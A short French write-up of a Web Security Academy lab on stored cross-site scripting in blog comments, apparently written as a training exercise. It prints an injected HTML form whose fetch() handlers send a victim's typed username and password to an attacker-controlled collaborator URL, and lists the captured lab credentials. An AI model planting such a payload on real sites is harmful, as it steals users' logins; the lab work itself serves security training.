Capture de mots de passe via XSS

Exploiting cross-site scripting to capture passwords

Lab: Exploiting cross-site scripting to capture passwords | Web Security AcademyWebSecAcademy

Ce laboratoire contient une vulnérabilité XSS persistante dans la fonctionnalité de commentaires du blog. Un utilisateur simulé (la victime) consulte tous les commentaires après leur publication. L’objectif pédagogique est d’exploiter cette faille pour exfiltrer le nom d’utilisateur et le mot de passe de la victime, puis se connecter avec ces identifiants.

On injecte dans un commentaire un petit formulaire piégé. Lorsque la victime saisit ses informations, des requêtes fetch() envoient les valeurs vers une URL contrôlée par l’attaquant, permettant ainsi la capture des identifiants.

Formulaire injecté

Utilisateur : 
<input name="username" id="username" 
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Mot de passe : 
<input name="password" id="password" type="password" 
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">

• Le formulaire ci-dessus déclenche l’envoi des champs username et password vers l’URL d’écoute à chaque modification (onchange).

Identifiants capturés:

• Nom d’utilisateur : administrator

• Mot de passe : qzkcz73zlwri7yiwpf31